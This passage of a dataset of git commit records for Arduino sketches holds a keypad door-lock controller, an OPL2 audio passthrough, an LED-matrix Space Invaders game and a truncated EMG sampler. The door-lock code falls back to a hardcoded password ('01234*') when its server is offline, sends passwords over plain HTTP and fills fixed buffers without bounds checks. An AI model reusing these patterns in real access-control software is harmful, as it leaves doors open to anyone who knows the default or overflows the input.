'_04_kidSerie_sketch_01_bluetooth_SlidingLeds.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9bf64dc06ca8013a41718f53ad95692bbfa27321","subject":"Add DCS Alpha 3","message":"Add DCS Alpha 3\n\nAdd Offline mode\n","repos":"Dimasdanz\/BiotechProject,Dimasdanz\/BiotechProject","old_file":"BiotechHardware\/dcs\/dcs_alpha3\/dcs_alpha3.ino","new_file":"BiotechHardware\/dcs\/dcs_alpha3\/dcs_alpha3.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n#include <Keypad.h>\n#include <Wire.h> \n#include <LiquidCrystal_I2C.h>\n#include <Servo.h>\n#include <w5100.h>\n\nconst char server[] = \"192.168.2.4\";\nbyte mac[] = {0x90, 0xA2, 0xDA, 0x0E, 0xF5, 0xF8};\nIPAddress ip(192,168,1,5);\n\nEthernetClient client;\n\nconst byte ROWS = 4;\nconst byte COLS = 3;\nchar keys[ROWS][COLS] = {\n {'1','2','3'},{'4','5','6'},{'7','8','9'},{'*','0','#'}\n};\n\nbyte rowPins[ROWS] = {2, 3, 4, 5};\nbyte colPins[COLS] = {6, 7, 8};\n\nKeypad keypad = Keypad(makeKeymap(keys), rowPins, colPins, ROWS, COLS );\nLiquidCrystal_I2C lcd(0x27,20,4);\nServo myservo;\n\nconst int sensor = A2;\nconst int push_btn = A3;\nconst int servo = 9;\n\nint attempt = 0;\nint count = 0;\nint max_attempt;\nString disp = \"\";\nchar pass[16];\n\nboolean display_armed = false;\nboolean display_disarmed = false;\nboolean display_locked = false;\nboolean display_unlocked = false;\nboolean display_offline = false;\nboolean display_online = false;\n\nboolean device_status;\nboolean device_condition;\n\nlong prevTime = 0;\nlong interval_check = 60000;\n\nvoid setup(){\n Serial.begin(9600);\n myservo.attach(9);\n \/\/if(Ethernet.begin(mac) == 0){\n Ethernet.begin(mac, ip);\n \/\/}\n \n Serial.println(Ethernet.localIP());\n \n W5100.setRetransmissionTime(0x07D0);\n W5100.setRetransmissionCount(3);\n \n lcd.init();\n lcd.backlight();\n lcd.setCursor(3, 0);\n lcd.print(\"Keamanan Pintu\");\n lcd.setCursor(0,1);\n lcd.print(\"Inisialisasi\");\n \n device_status = check_device();\n device_condition = check_condition();\n \n lcd_init();\n pinMode(sensor, INPUT);\n digitalWrite(sensor, HIGH);\n pinMode(push_btn, INPUT);\n digitalWrite(push_btn, HIGH);\n myservo.write(70);\n}\n\nvoid loop(){\n unsigned long curTime = millis();\n \n if(curTime - prevTime > interval_check){\n prevTime = curTime;\n device_status = check_device();\n device_condition = check_condition();\n }\n \n if(digitalRead(push_btn) == LOW){\n open_door();\n lcd_init();\n }\n \n if(device_status){\n if(device_condition){\n char key = keypad.getKey();\n if (key != NO_KEY){\n disp += \"*\";\n lcd.setCursor(0,2);\n lcd.print(disp);\n pass[count] = key;\n count++;\n }\n if(key == '*'){\n attempt++;\n send_password(pass);\n sys_init();\n lcd_init();\n }\n if(key == '#'){\n sys_init();\n lcd_init();\n }\n }\n else{\n device_status = check_device();\n device_condition = check_condition();\n }\n }else{\n device_status = check_device();\n device_condition = check_condition();\n }\n}\n\nboolean check_device(){\n Serial.print(\"Cek Status\");\n String a = read_server(\"\/api\/dcs\/dcs_get_value\/status\");\n if(a == \"1\"){\n if(!display_armed){\n lcd_init();\n lcd_offline(false);\n display_armed = true;\n }\n Serial.println(\"Status True\");\n display_disarmed = false;\n display_offline = false;\n return true;\n }else if(a == \"2\"){\n if(!display_offline){\n lcd_offline(true);\n display_offline = true;\n }\n display_disarmed = false;\n display_armed = false;\n return true;\n }else{\n if(!display_disarmed){\n lcd_print(\"Perangkat non-aktif\");\n lcd_offline(false);\n display_disarmed = true;\n }\n Serial.println(\"Status False\");\n display_armed = false;\n display_offline = false;\n return false;\n }\n}\n\nboolean check_condition(){\n Serial.print(\"Cek Kondisi\");\n String a = read_server(\"\/api\/dcs\/dcs_get_value\/condition\");\n if(a == \"0\"){\n if(!display_unlocked){\n lcd_init();\n lcd_offline(false);\n display_unlocked = true;\n }\n Serial.println(\"Kondisi True\");\n display_locked = false;\n display_offline = false;\n return true;\n }else if(a == \"2\"){\n if(!display_offline){\n lcd_offline(true);\n display_offline = true;\n }\n display_locked = false;\n display_unlocked = false;\n return true;\n }else{\n if(!display_locked){\n lcd_print(\"Perangkat terkunci\");\n lcd_offline(false);\n display_locked = true;\n }\n Serial.println(\"Kondisi False\");\n display_unlocked = false;\n display_offline = false;\n return false;\n }\n}\n\nvoid sys_init(){\n memset(pass, 0, sizeof pass);\n count = 0;\n disp = \"\";\n}\n\nvoid lcd_init(){\n lcd.setCursor(3,0);\n lcd.print(\"Keamanan Pintu\");\n lcd.setCursor(0,1);\n lcd.print(\"Kata Kunci :\");\n lcd.setCursor(0,2);\n for(int i=0;i<20;i++){\n lcd.print(\" \");\n }\n}\n\nvoid lcd_offline(boolean b){\n if(b){\n lcd.setCursor(19,0);\n lcd.print(\"*\");\n }else{\n lcd.setCursor(19,0);\n lcd.print(\" \");\n }\n}\n\nvoid lcd_print(String s){\n lcd.clear();\n lcd.setCursor(3,0);\n lcd.print(\"Keamanan Pintu\");\n lcd.setCursor(0,2);\n lcd.print(s);\n}\n\nvoid lcd_attempts(int tried, int attempts){\n lcd.setCursor(0,3);\n lcd.print(\"Percobaan :\");\n lcd.setCursor(13,3);\n lcd.print(tried);\n lcd.setCursor(15,3);\n lcd.print(\"\/\");\n lcd.print(attempts);\n}\n\nvoid send_password(char password[]){\n String data =\"\";\n EthernetClient client;\n String s_password = \"password=\";\n data = s_password+password;\n Serial.println(data);\n\n if (client.connect(server,80))\n {\n client.print(\"POST \/api\/dcs\/dcs_check_password HTTP\/1.1\\n\");\n client.print(\"Host: 192.168.2.4\\n\");\n client.print(\"Connection: close\\n\");\n client.print(\"Content-Type: application\/x-www-form-urlencoded\\n\");\n client.print(\"Content-Length: \");\n client.print(data.length());\n client.print(\"\\n\\n\");\n client.print(data);\n \n delay(50);\n check_result(read_server(\"\/api\/dcs\/dcs_get_value\/result\"));\n }else{\n Serial.println(\"Sending... Server offline\");\n String pass(password);\n Serial.println(pass);\n if(pass == \"01234*\"){\n check_result(\"1\");\n }else{\n check_result(\"0\");\n }\n }\n}\n\nvoid check_result(String result){\n Serial.println(result);\n if(attempt == 1){\n max_attempt = read_server(\"\/api\/dcs\/dcs_get_value\/password_attempts\").toInt();\n lcd_attempts(attempt, max_attempt);\n }\n if(result == \"1\"){\n open_door();\n }else{\n lcd_print(\"Password Salah\");\n lcd_attempts(attempt, max_attempt);\n delay(1000);\n if(max_attempt > 0){\n if(attempt >= max_attempt){\n attempt = 0;\n lock_device();\n }\n }\n }\n}\n\nvoid open_door(){\n attempt = 0;\n lcd_print(\"Pintu Terbuka\");\n myservo.write(30);\n delay(3000);\n int val = digitalRead(sensor);\n while(digitalRead(sensor) == HIGH){\n val = digitalRead(sensor);\n }\n delay(1000);\n myservo.write(70);\n}\n\nString read_server(String url){\n if (client.connect(server, 80)) {\n client.print(\"GET \");\n client.println(url);\n client.println();\n return readData();\n }\n else{\n Serial.println(\"Reading... Server offline\");\n return \"2\";\n }\n}\n\nString readData(){\n int stringPos = 0; \n boolean startRead = false;\n char inString[8];\n\n memset( &inString, 0, 8 );\n while(true){\n if (client.available()) {\n char c = client.read();\n if (c == '<' ) {\n startRead = true;\n }\n else if(startRead){\n if(c != '>'){\n inString[stringPos] = c;\n stringPos ++;\n }\n else{\n startRead = false;\n client.stop();\n client.flush();\n return inString;\n }\n }\n }\n }\n}\n\nvoid lock_device(){\n String data =\"\";\n EthernetClient client;\n data = \"1\";\n\n if (client.connect(server,80))\n {\n client.print(\"POST \/api\/dcs\/dcs_lock HTTP\/1.1\\n\");\n client.print(\"Host: 192.168.2.4\\n\");\n client.print(\"Connection: close\\n\");\n client.print(\"Content-Type: application\/x-www-form-urlencoded\\n\");\n client.print(\"Content-Length: \");\n client.print(data.length());\n client.print(\"\\n\\n\");\n client.print(data);\n \n device_condition = false;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BiotechHardware\/dcs\/dcs_alpha3\/dcs_alpha3.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"691f77ffb27b55a9b2c3685f58a6294963c4ac16","subject":"tweaks for smoothness","message":"tweaks for smoothness\n","repos":"nathankoch\/arduino-videosynth","old_file":"videosynth.ino","new_file":"videosynth.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nathankoch\/arduino-videosynth.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fd97bc8bccf130bffa0159b8ffd95e9fe004474f","subject":"motor truck","message":"motor truck\n","repos":"gcaracas\/arduinoRobot,gcaracas\/arduinoRobot","old_file":"familiaTruck\/steering\/steering\/steering.ino","new_file":"familiaTruck\/steering\/steering\/steering.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/gcaracas\/arduinoRobot.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"7d743a1d73390aed751d5ef2e9eaf92b0ed74b2f","subject":"DosBox passthrough code","message":"DosBox passthrough code\n\nSimple DosBox OPL2 passthrough sketch to use together with modified\nDosBox build from https:\/\/github.com\/DhrBaksteen\/ArduinoOPL2.DosBox.\n\nReferencing #30\n","repos":"DhrBaksteen\/ArduinoOPL2,DhrBaksteen\/ArduinoOPL2,DhrBaksteen\/ArduinoOPL2","old_file":"examples\/DosBoxPassthrough\/DosBoxPassthrough.ino","new_file":"examples\/DosBoxPassthrough\/DosBoxPassthrough.ino","new_contents":"#include <SPI.h>\n#include <OPL2.h>\n\nOPL2 opl2;\n\nvoid setup() {\n Serial.begin(115200);\n opl2.init();\n}\n\nvoid loop() {\n while (Serial.available() > 1) {\n byte reg = Serial.read();\n byte val = Serial.read();\n opl2.write(reg, val);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/DosBoxPassthrough\/DosBoxPassthrough.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4304eef0ad48d97812954d3d032b9a02f07f8644","subject":"Added initial source code","message":"Added initial source code\n","repos":"Dovgalyuk\/BackspaceInvaders,Dovgalyuk\/BackspaceInvaders","old_file":"space.ino","new_file":"space.ino","new_contents":"#define IR1 2\n#define IG1 3\n#define IB1 4\n#define IR2 5\n#define IG2 6\n#define IB2 7\n#define CLK 8 \/\/ MUST be on PORTB! (Use pin 11 on Mega)\n#define LAT 10\n#define OE 9\n#define A A0\n#define B A1\n#define C A2\n#define D A3\n\n#define LEFT 11\n#define RIGHT 12\n#define FIRE 13\n\n#define WIDTH 64\n\n#define DATAPORT PORTD\n#define DATADIR DDRD\n#define SCLKPORT PORTB\n\n#define GREEN 2\n#define WHITE 7\n\nvolatile uint8_t\n *latport, *oeport, *addraport, *addrbport, *addrcport, *addrdport,\n *leftport, *rightport, *fireport;\nuint8_t\n sclkpin, latpin, oepin, addrapin, addrbpin, addrcpin, addrdpin,\n leftpin, rightpin, firepin;\n\nint cx, cy;\nint color = 1;\n\nvoid setup() {\n sclkpin = digitalPinToBitMask(CLK);\n latport = portOutputRegister(digitalPinToPort(LAT));\n latpin = digitalPinToBitMask(LAT);\n oeport = portOutputRegister(digitalPinToPort(OE));\n oepin = digitalPinToBitMask(OE);\n addraport = portOutputRegister(digitalPinToPort(A));\n addrapin = digitalPinToBitMask(A);\n addrbport = portOutputRegister(digitalPinToPort(B));\n addrbpin = digitalPinToBitMask(B);\n addrcport = portOutputRegister(digitalPinToPort(C));\n addrcpin = digitalPinToBitMask(C); \n addrdport = portOutputRegister(digitalPinToPort(D));\n addrdpin = digitalPinToBitMask(D); \n\n leftport = portInputRegister(digitalPinToPort(LEFT));\n leftpin = digitalPinToBitMask(LEFT); \n rightport = portInputRegister(digitalPinToPort(RIGHT));\n rightpin = digitalPinToBitMask(RIGHT); \n fireport = portInputRegister(digitalPinToPort(FIRE));\n firepin = digitalPinToBitMask(FIRE); \n\n \/\/ put your setup code here, to run once:\n pinMode(CLK , OUTPUT);\n pinMode(LAT, OUTPUT);\n pinMode(OE, OUTPUT);\n pinMode(A, OUTPUT);\n pinMode(B, OUTPUT);\n pinMode(C, OUTPUT);\n pinMode(D, OUTPUT);\n\n pinMode(IR1, OUTPUT);\n pinMode(IG1, OUTPUT);\n pinMode(IB1, OUTPUT);\n pinMode(IR2, OUTPUT);\n pinMode(IG2, OUTPUT);\n pinMode(IB2, OUTPUT);\n\n pinMode(LEFT, INPUT);\n pinMode(RIGHT, INPUT);\n\n SCLKPORT &= ~sclkpin;\n *latport &= ~latpin;\n *oeport &= ~oepin;\n *addraport &= ~addrapin;\n *addrbport &= ~addrbpin;\n *addrcport &= ~addrcpin;\n *addrdport &= ~addrdpin;\n\n \/\/DATADIR = B11111100;\n \/\/DATAPORT = 0;\n \n digitalWrite(IR1, HIGH);\n digitalWrite(IG1, HIGH);\n digitalWrite(IB1, HIGH);\n digitalWrite(IR2, HIGH);\n digitalWrite(IG2, HIGH);\n digitalWrite(IB2, HIGH);\n\n \/\/frameTime = millis();\n}\n\nconst uint8_t invaders[2][8][11] = {\n{\n {0, 0, 0, 6, 6, 0, 0, 0, 0, 0, 0},\n {0, 0, 6, 6, 6, 6, 0, 0, 0, 0, 0},\n {0, 6, 6, 6, 6, 6, 6, 0, 0, 0, 0},\n {6, 6, 0, 6, 6, 0, 6, 6, 0, 0, 0},\n {6, 6, 6, 6, 6, 6, 6, 6, 0, 0, 0},\n {0, 6, 0, 6, 6, 0, 6, 0, 0, 0, 0},\n {6, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0},\n {0, 6, 0, 0, 0, 0, 6, 0, 0, 0, 0},\n}, {\n {0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0},\n {0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0},\n {0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0},\n {0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0},\n {1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1},\n {1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1},\n {1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1},\n {0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0},\n}\n};\n\n#define CANNON_W 13\n#define CANNON_H 8\n \nconst uint8_t cannon[CANNON_H][CANNON_W] = {\n {0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0},\n {0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0},\n {0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0},\n {0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0},\n {1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1},\n {1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1},\n {1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1},\n {1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1},\n};\n\n#define GAMEOVER_W 31\n#define GAMEOVER_H 15\n#define GAMEOVER_X 16\n#define GAMEOVER_Y 24\nconst uint8_t gameover[GAMEOVER_H][GAMEOVER_W + 1] = {\n \"..xxxxx...xxx...xx...xx.xxxxxxx\",\n \".xx......xx.xx..xxx.xxx.xx.....\",\n \"xx......xx...xx.xxxxxxx.xx.....\",\n \"xx..xxx.xx...xx.xxxxxxx.xxxxxx.\",\n \"xx...xx.xxxxxxx.xx.x.xx.xx.....\",\n \".xx..xx.xx...xx.xx...xx.xx.....\",\n \"..xxxxx.xx...xx.xx...xx.xxxxxxx\",\n \"...............................\",\n \".xxxxx..xx...xx.xxxxxxx.xxxxxx.\",\n \"xx...xx.xx...xx.xx......xx...xx\",\n \"xx...xx.xx...xx.xx......xx...xx\",\n \"xx...xx.xx...xx.xxxxxx..xx..xxx\",\n \"xx...xx..xx.xx..xx......xxxxx..\",\n \"xx...xx...xxx...xx......xx.xxx.\",\n \".xxxxx.....x....xxxxxxx.xx..xxx\"\n};\n\n#define LIFE_W 5\n#define LIFE_H 3\n#define LIFE_X 1\n#define LIFE_Y 1 \nconst uint8_t life[LIFE_H][(LIFE_W + 7) \/ 8] = {\n {B00100000},\n {B11111000},\n {B11111000}\n};\n\n#define DIGIT_W 3\n#define DIGIT_H 5\nconst uint8_t digits[10][5] = {\n {B01100000, \/\/ 0\n B10100000,\n B10100000,\n B10100000,\n B11000000},\n {B01000000, \/\/ 1\n B11000000,\n B01000000,\n B01000000,\n B01000000},\n {B11000000, \/\/ 2\n B00100000,\n B01000000,\n B10000000,\n B11100000},\n {B11000000, \/\/ 3\n B00100000,\n B01000000,\n B00100000,\n B11000000},\n {B10100000, \/\/ 4\n B10100000,\n B11100000,\n B00100000,\n B00100000},\n {B11100000, \/\/ 5\n B10000000,\n B11000000,\n B00100000,\n B11000000},\n {B01100000, \/\/ 6\n B10000000,\n B11100000,\n B10100000,\n B11100000},\n {B11100000, \/\/ 7\n B00100000,\n B01000000,\n B10000000,\n B10000000},\n {B11100000, \/\/ 8\n B10100000,\n B11100000,\n B10100000,\n B11100000},\n {B11100000, \/\/ 9\n B10100000,\n B11100000,\n B00100000,\n B11000000}\n};\n\n#define INVADER_TYPES 2\n\nint invaderW[INVADER_TYPES] = {8, 11};\nint invaderH[INVADER_TYPES] = {8, 8};\n\n#define INVADERS 4\nint invaderX[INVADERS];\nint invaderY[INVADERS];\nint invaderType[INVADERS];\nint invaderColor[INVADERS];\nint invaderSpeedX[INVADERS];\nint invaderSpeedY[INVADERS];\n\nint cannonX = (WIDTH - CANNON_W) \/ 2;\nint cannonY = WIDTH - CANNON_H;\n\n#define SHOOTS 4\n#define SHOOT_H 4\nint shootX[SHOOTS];\nint shootY[SHOOTS];\n\n#define T_LENGTH 64\n#define T_WIDTH 49\nint trajectory[T_LENGTH] = {24, 26, 28, 30, 33, 35, 37, 39, 40, 42, 43, 45, 46, 46, 47, 47, 48, 47, 47, 46, 46, 45, 43, 42, 40, 39, 37, 35, 33, 30, 28, 26, 23, 21, 19, 17, 14, 12, 10, 8, 7, 5, 4, 2, 1, 1, 0, 0, 0, 0, 0, 1, 1, 2, 4, 5, 7, 8, 10, 12, 14, 17, 19, 21};\nint invaderPhase[INVADERS] = {0, 0, 0, 0};\n\n#define SCORE_X 48\n#define SCORE_Y 1\n#define SCORE_DIGITS 4\nlong score;\n\nunsigned long frameTime;\nunsigned long invadeTime;\nunsigned long moveTime;\nunsigned long shootTime;\n\nint lives = 3;\n\nvoid renderLine(uint8_t *buf, int y)\n{\n for (int i = 0 ; i < WIDTH ; ++i)\n buf[i] = 0;\n\n \/\/ draw invaders\n for (int i = 0 ; i < INVADERS ; ++i)\n {\n if (invaderType[i])\n {\n if (invaderY[i] <= y && invaderY[i] + invaderH[invaderType[i] - 1] > y)\n {\n int w = invaderW[invaderType[i] - 1];\n for (int x = 0 ; x < w ; ++x)\n {\n int xx = invaderX[i] + x;\n if (xx < WIDTH && xx >= 0)\n {\n if (invaders[invaderType[i] - 1][y - invaderY[i]][x])\n buf[xx] = invaderColor[i];\n }\n }\n }\n }\n }\n \/\/ draw cannon\n if (lives && cannonY <= y && cannonY + CANNON_H > y)\n {\n for (int x = 0 ; x < CANNON_W ; ++x)\n {\n int xx = (cannonX + x) % WIDTH;\n if (xx < WIDTH && xx >= 0)\n {\n if (cannon[y - cannonY][x])\n buf[xx] = GREEN;\n }\n }\n }\n \/\/ draw shoots\n for (int i = 0 ; i < SHOOTS ; ++i)\n {\n if (shootY[i] >= 0)\n {\n if (y >= shootY[i] && y < shootY[i] + SHOOT_H)\n buf[shootX[i]] = WHITE;\n }\n }\n\n \/\/ draw gameover\n if (!lives && y >= GAMEOVER_Y && y < GAMEOVER_Y + GAMEOVER_H)\n {\n for (int x = 0 ; x < GAMEOVER_W ; ++x)\n if (gameover[y - GAMEOVER_Y][x] != '.')\n buf[x + GAMEOVER_X] = WHITE;\n }\n\n \/\/ draw lives\n if (y >= LIFE_Y && y < LIFE_Y + LIFE_H)\n {\n for (int i = 0 ; i < lives ; ++i)\n {\n uint8_t mask = 0x80;\n int offs = 0;\n for (int x = 0 ; x < LIFE_W ; ++x)\n {\n if (life[y - LIFE_Y][offs] & mask)\n buf[x + LIFE_X + (LIFE_W + 1) * i] = GREEN;\n mask >>= 1;\n if (!mask)\n {\n mask = 0x80;\n ++offs;\n }\n }\n }\n }\n\n \/\/ draw score\n if (y >= SCORE_Y && y < SCORE_Y + DIGIT_H)\n {\n int d[SCORE_DIGITS] = {0};\n int i = SCORE_DIGITS - 1;\n long s = score;\n while (i >= 0 && s)\n {\n d[i--] = s % 10;\n s \/= 10;\n }\n for (int i = 0 ; i < SCORE_DIGITS ; ++i)\n {\n uint8_t mask = 0x80;\n for (int x = 0 ; x < DIGIT_W ; ++x)\n {\n if (digits[d[i]][y - SCORE_Y] & mask)\n buf[x + SCORE_X + (DIGIT_W + 1) * i] = WHITE;\n mask >>= 1;\n }\n }\n }\n\n \/\/ there is broken LED here:\n if (y == 63)\n buf[63] = 0;\n}\n\nbool intersectRect(int x1, int y1, int w1, int h1, int x2, int y2, int w2, int h2)\n{\n int xl = max(x1, x2);\n int xr = min(x1 + w1, x2 + w2);\n int yl = max(y1, y2);\n int yr = min(y1 + h1, y2 + h2);\n return xr > xl && yr > yl;\n}\n\nint step;\nint frame;\n\nvoid loop() {\n\n\/\/ \/----1111< - 16x64\n\/\/ | 1111\n\/\/ | \/--2222<\n\/\/ | | 2222\n\/\/ | \\---------\\\n\/\/ \\---------\\ |\n\/\/ 1111<\/ |\n\/\/ 1111 |\n\/\/ 2222<--\/\n\/\/ 2222\n\/\/ \u041f\u043e \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u0438 - \u043f\u043e\u043b\u0435 1 - \u0431\u0438\u0442\u044b BGR1\n\/\/ \u043f\u043e\u043b\u0435 2 - \u0431\u0438\u0442\u044b BGR2\n\/\/ \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u0430 - \u0431\u0438\u0442\u044b ABCD\n\/\/ \u041f\u043e \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u0438 - \u0437\u0430\u0434\u0432\u0438\u0433\u0430\u0435\u043c 128 \u043f\u0438\u043a\u0441\u0435\u043b\u0435\u0439\n\n int tock;\n int tick;\n tock = SCLKPORT;\n tick = tock | sclkpin;\n\n *oeport |= oepin;\n *latport |= latpin;\n *latport &= ~latpin;\n \n if (step & 1)\n *addraport |= addrapin;\n else\n *addraport &= ~addrapin;\n if (step & 2)\n *addrbport |= addrbpin;\n else\n *addrbport &= ~addrbpin;\n if (step & 4)\n *addrcport |= addrcpin;\n else\n *addrcport &= ~addrcpin;\n if (step & 8)\n *addrdport |= addrdpin;\n else\n *addrdport &= ~addrdpin;\n step = (step + 1) & 0xf;\n\n *oeport &= ~oepin;\n\n int y1 = step; \n int y2 = (step + 16); \n int y3 = (step + 32); \n int y4 = (step + 48);\n \n uint8_t lines[4][WIDTH];\n renderLine(lines[0], y1);\n renderLine(lines[1], y2);\n renderLine(lines[2], y3);\n renderLine(lines[3], y4);\n\n\/\/ DATAPORT : BGR2 BGR1 00\n \n for (int i = 0 ; i < WIDTH ; ++i)\n {\n DATAPORT = (lines[3][i] << 5) | (lines[2][i] << 2);\/\/B01001100;\n SCLKPORT = tick; \/\/ Clock lo\n SCLKPORT = tock; \/\/ Clock hi\n }\n for (int i = 0 ; i < WIDTH ; ++i)\n {\n DATAPORT = (lines[1][i] << 5) | (lines[0][i] << 2);\/\/B01001100;\n SCLKPORT = tick; \/\/ Clock lo\n SCLKPORT = tock; \/\/ Clock hi\n }\n\n unsigned long curTime = millis();\n if (step == 0 && curTime - frameTime >= 160)\n {\n frameTime = curTime;\n\n \/\/ moving invaders\n for (int i = 0 ; i < INVADERS ; ++i)\n {\n if (invaderType[i])\n {\n int x = invaderX[i];\n int y = invaderY[i];\n y += invaderSpeedY[i];\n if (y < WIDTH - 18)\n { \n x -= trajectory[invaderPhase[i]];\n invaderPhase[i] = (invaderPhase[i] + invaderSpeedX[i]) % T_LENGTH;\n x += trajectory[invaderPhase[i]];\n }\n else\n {\n invaderSpeedY[i] = 5;\n }\n invaderX[i] = x;\n invaderY[i] = y;\n\n if (y > WIDTH)\n {\n invaderType[i] = 0;\n if (lives)\n {\n score -= 5;\n if (score < 0)\n score = 0;\n }\n }\n }\n }\n\n \/\/ new invader\n if (curTime - invadeTime >= 500)\n {\n for (int i = 0 ; i < INVADERS ; ++i)\n if (!invaderType[i])\n {\n invadeTime = curTime;\n invaderType[i] = rand() % INVADER_TYPES + 1;\n int offs = rand() % (WIDTH - T_WIDTH - invaderW[invaderType[i] - 1]);\n invaderPhase[i] = rand() % T_LENGTH;\n invaderX[i] = offs + trajectory[invaderPhase[i]];\n invaderY[i] = 0;\n const int colors[5] = {4, 1, 5, 6, 3};\n invaderColor[i] = colors[rand() % 5];\n invaderSpeedY[i] = rand() % 2 + 1;\n invaderSpeedX[i] = rand() % 4 + 1;\n break;\n }\n }\n }\n\n if (step == 0 && curTime - moveTime >= 20)\n {\n moveTime = curTime; \n\n \/\/ intersections\n \/\/ shoot enemy\n for (int s = 0 ; s < SHOOTS ; ++s)\n {\n if (shootY[s] >= 0)\n {\n shootY[s] -= 3;\n for (int i = 0 ; i < INVADERS ; ++i)\n {\n if (invaderType[i] \n && intersectRect(shootX[s], shootY[s], 1, SHOOT_H, invaderX[i], invaderY[i], invaderW[invaderType[i] - 1], invaderH[invaderType[i] - 1]))\n {\n invaderType[i] = 0;\n shootY[s] = -1;\n\n ++score;\n break;\n }\n }\n }\n }\n if (lives)\n {\n \/\/ kill cannon\n for (int i = 0 ; i < INVADERS ; ++i)\n {\n if (invaderType[i] \n && intersectRect(cannonX, cannonY, CANNON_W, CANNON_H, invaderX[i], invaderY[i], invaderW[invaderType[i] - 1], invaderH[invaderType[i] - 1]))\n {\n --lives;\n if (lives)\n for (int j = 0 ; j < INVADERS ; ++j)\n invaderType[j] = 0;\n break;\n }\n }\n \n if ((*rightport & rightpin) == 0)\n {\n cannonX = (cannonX + 2) % WIDTH;\n }\n else if ((*leftport & leftpin) == 0)\n {\n cannonX = (cannonX - 2 + WIDTH) % WIDTH;\n }\n if ((*fireport & firepin) == 0\n && curTime - shootTime >= 500) \/\/ shoot\n {\n shootTime = curTime;\n for (int i = 0 ; i < SHOOTS ; ++i)\n {\n if (shootY[i] < 0)\n {\n shootY[i] = cannonY - SHOOT_H;\n shootX[i] = (cannonX + CANNON_W \/ 2) % WIDTH;\n break;\n }\n }\n }\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'space.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0180052318a11070f1ceb8aa9228d57f60a9e089","subject":"Added Arduino code for sampling 4 ADC channels","message":"Added Arduino code for sampling 4 ADC channels\n","repos":"SeeJayDee\/fyp-code","old_file":"olimex-emg-transmit\/olimex-emg-transmit.ino","new_file":"olimex-emg-transmit\/olimex-emg-transmit.ino","new_contents":"\/* Code for sampling 4 channels of EMG signals using the\n * Olimex 'EMG EKG' Arduino shield on an Arduino Uno.\n * \n * This is part of Christian D'Abrera's engineering final\n * year project titled \"EMG Bio-feedback for rehabilitation\".\n * \n * Christian D'Abrera\n * Curtin University 2017\n * christian.dabrera@student.curtin.edu.au\n * chrisdabrera@gmail.com\n * \n * ================================\n * Based on code shipped with OLIMEX SHIELD-EKG\/EMG\n * Contributors:\n * * Penko Todorov Bozhkov (2012)\n * * Joerg Hansmann (2003)\n * * Jim Peters (2003)\n * * Andreas Robinson (2003)\n * ================================\n * Notes:\n * * Header should be 0xFC twice, as this combination cannot\n * occur when transmitting a 10-bit value as two bytes.\n * * Other info to be transmitted is actual OCR value, to \n * allow proper timestamp calculation, and a 'packet counter'\n * which lets us know if we missed a packet.\n *\/\n\n\n\/\/ All definitions\n#define HEADER 0xfc\n#define SAMP_FREQ 512\n#define LED_PIN 13\n#define CAL_SIG_PIN 9\n\n#if ( SAMP_FREQ < 488 ) \/\/ Sets a flag if prescaler needs changing\n#define SLOW 1\n#endif\n\n\n\/\/ Gloval constants and variables\nbyte OCRval = 0; \/\/ OCR value for sampling freq\nvolatile byte TXData[12]; \/\/ bytes to be transmitted\nvolatile byte i; \/\/ counter variable\nvolatile int ADC_val; \/\/ current ADC val\n\n\n\/\/~~~~~~~~~~\n\/\/ Functions\n\/\/~~~~~~~~~~\n\n\/****************************************************\/\n\/* Function name: setSampleFreq *\/\n\/* Parameters *\/\n\/* Input : int (frequency) *\/\n\/* Output : No *\/\n\/* Action: Determines OCR value for given sample *\/\n\/* frequency, configures TIMER2 and enables ISR *\/\n\/****************************************************\/\nvoid setSampleFreq(int freq) {\n\/* ATMega328P datasheet s18.7.2 (pp 147-148)\n * f_OCnx = f_clkIO \/ (2*N*(1+OCRnx))\n * where:\n * f_OCnx = timer output frequency\n * f_clkIO = CPU frequency\n * OCRnx = output compare register x (set value)\n * N = Prescaler value\n * \n * N should be 64 for a minimum frequency of 488Hz\n*\/\n OCRval = constrain(F_CPU \/ (2 * 64 * freq) - 1, 0, 